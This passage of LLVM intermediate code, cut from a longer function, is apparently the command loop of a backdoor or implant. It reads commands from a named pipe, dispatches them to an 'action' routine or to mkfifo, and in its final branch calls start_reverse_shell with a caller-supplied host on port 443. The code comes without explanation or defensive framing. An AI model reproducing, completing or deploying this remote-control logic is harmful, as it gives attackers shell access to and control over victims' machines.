%19 = call i32 @read_from_pipe(i8* getelementptr inbounds ([16 x i8], [16 x i8]* @.str, i64 0, i64 0), i8* %10)
%20 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([13 x i8], [13 x i8]* @.str.2, i64 0, i64 0), i8* %10)
%21 = call i32 @parse_input(i8* %10, i8** %4, i8** %5)
%22 = load i8*, i8** %4
%23 = call i64 @strlen(i8* dereferenceable(1) %22)
%24 = trunc i64 %23 to i32
%25 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([19 x i8], [19 x i8]* @.str.3, i64 0, i64 0), i8* %22, i32 %24)
%26 = load i8*, i8** %5
%27 = call i64 @strlen(i8* dereferenceable(1) %26)
%28 = trunc i64 %27 to i32
%29 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([19 x i8], [19 x i8]* @.str.4, i64 0, i64 0), i8* %26, i32 %28)
%30 = load i8*, i8** %4
%31 = call i64 @strcmp(i8* %30, i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str.5, i64 0, i64 0))
%32 = icmp eq i64 %31, 0
br i1 %32, label %33, label %35
33: ; preds = %18
%34 = call i32 @action(i32 1, i32 0, i32 0, i8* null, i32 0, i32 0, i8* null, i32 0, i32 0, i32 0, i32 0)
br label %35
35: ; preds = %33, %18
%36 = load i8*, i8** %4
%37 = call i64 @strcmp(i8* %36, i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str.6, i64 0, i64 0))
%38 = icmp eq i64 %37, 0
br i1 %38, label %39, label %42
39: ; preds = %35
%40 = call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([9 x i8], [9 x i8]* @str.35, i64 0, i64 0))
%41 = call i32 @mkfifo(i8* getelementptr inbounds ([10 x i8], [10 x i8]* @.str.8, i64 0, i64 0), i32 438)
br label %42
42: ; preds = %39, %35
%43 = load i8*, i8** %4
%44 = call i64 @strcmp(i8* %43, i8* getelementptr inbounds ([5 x i8], [5 x i8]* @str.34, i64 0, i64 0))
%45 = icmp eq i64 %44, 0
br i1 %45, label %46, label %50
46: ; preds = %42
%47 = call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([5 x i8], [5 x i8]* @str.34, i64 0, i64 0))
%48 = load i8*, i8** %5
%49 = call i32 @action(i32 0, i32 1, i32 0, i8* %48, i32 0, i32 0, i8* null, i32 0, i32 0, i32 0, i32 0)
br label %50
50: ; preds = %46, %42
%51 = load i8*, i8** %4
%52 = call i64 @strcmp(i8* %51, i8* getelementptr inbounds ([6 x i8], [6 x i8]* @str.33, i64 0, i64 0))
%53 = icmp eq i64 %52, 0
br i1 %53, label %54, label %58
54: ; preds = %50
%55 = call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([6 x i8], [6 x i8]* @str.33, i64 0, i64 0))
%56 = load i8*, i8** %5
%57 = call i32 @action(i32 0, i32 0, i32 1, i8* %56, i32 0, i32 0, i8* null, i32 0, i32 0, i32 0, i32 0)
br label %58
58: ; preds = %54, %50
%59 = load i8*, i8** %4
%60 = call i64 @strcmp(i8* %59, i8* getelementptr inbounds ([6 x i8], [6 x i8]* @str.32, i64 0, i64 0))
%61 = icmp eq i64 %60, 0
br i1 %61, label %62, label %66
62: ; preds = %58
%63 = call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([6 x i8], [6 x i8]* @str.32, i64 0, i64 0))
%64 = load i8*, i8** %5
%65 = call i32 @action(i32 0, i32 0, i32 0, i8* null, i32 1, i32 0, i8* %64, i32 0, i32 0, i32 0, i32 0)
br label %66
66: ; preds = %62, %58
%67 = load i8*, i8** %4
%68 = call i64 @strcmp(i8* %67, i8* getelementptr inbounds ([7 x i8], [7 x i8]* @str.31, i64 0, i64 0))
%69 = icmp eq i64 %68, 0
br i1 %69, label %70, label %74
70: ; preds = %66
%71 = call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([7 x i8], [7 x i8]* @str.31, i64 0, i64 0))
%72 = load i8*, i8** %5
%73 = call i32 @action(i32 0, i32 0, i32 0, i8* null, i32 0, i32 1, i8* %72, i32 0, i32 0, i32 0, i32 0)
br label %74
74: ; preds = %70, %66
%75 = load i8*, i8** %4
%76 = call i64 @strcmp(i8* %75, i8* getelementptr inbounds ([5 x i8], [5 x i8]* @str.30, i64 0, i64 0))
%77 = icmp eq i64 %76, 0
br i1 %77, label %78, label %81
78: ; preds = %74
%79 = call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([5 x i8], [5 x i8]* @str.30, i64 0, i64 0))
%80 = call i32 @action(i32 0, i32 0, i32 0, i8* null, i32 0, i32 0, i8* null, i32 1, i32 0, i32 0, i32 0)
br label %81
81: ; preds = %78, %74
%82 = load i8*, i8** %4
%83 = call i64 @strcmp(i8* %82, i8* getelementptr inbounds ([7 x i8], [7 x i8]* @str.29, i64 0, i64 0))
%84 = icmp eq i64 %83, 0
br i1 %84, label %85, label %88
85: ; preds = %81
%86 = call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([7 x i8], [7 x i8]* @str.29, i64 0, i64 0))
%87 = call i32 @action(i32 0, i32 0, i32 0, i8* null, i32 0, i32 0, i8* null, i32 0, i32 1, i32 0, i32 0)
br label %88
88: ; preds = %85, %81
%89 = load i8*, i8** %4
%90 = call i64 @strcmp(i8* %89, i8* getelementptr inbounds ([8 x i8], [8 x i8]* @str.28, i64 0, i64 0))
%91 = icmp eq i64 %90, 0
br i1 %91, label %92, label %95
92: ; preds = %88
%93 = call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([8 x i8], [8 x i8]* @str.28, i64 0, i64 0))
%94 = call i32 @action(i32 0, i32 0, i32 0, i8* null, i32 0, i32 0, i8* null, i32 0, i32 0, i32 1, i32 0)
br label %95
95: ; preds = %92, %88
%96 = load i8*, i8** %4
%97 = call i64 @strcmp(i8* %96, i8* getelementptr inbounds ([10 x i8], [10 x i8]* @str.27, i64 0, i64 0))
%98 = icmp eq i64 %97, 0
br i1 %98, label %99, label %102
99: ; preds = %95
%100 = call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([10 x i8], [10 x i8]* @str.27, i64 0, i64 0))
%101 = call i32 @action(i32 0, i32 0, i32 0, i8* null, i32 0, i32 0, i8* null, i32 0, i32 0, i32 0, i32 1)
br label %102
102: ; preds = %99, %95
%103 = load i8*, i8** %4
%104 = call i64 @strcmp(i8* %103, i8* getelementptr inbounds ([8 x i8], [8 x i8]* @str, i64 0, i64 0))
%105 = icmp eq i64 %104, 0
br i1 %105, label %106, label %110
106: ; preds = %102
%107 = call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([8 x i8], [8 x i8]* @str, i64 0, i64 0))
%108 = load i8*, i8** %5
%109 = call i32 @start_reverse_shell(i8* %108, i32 443)
br label %110
110: ; preds = %106, %102
br label %18
}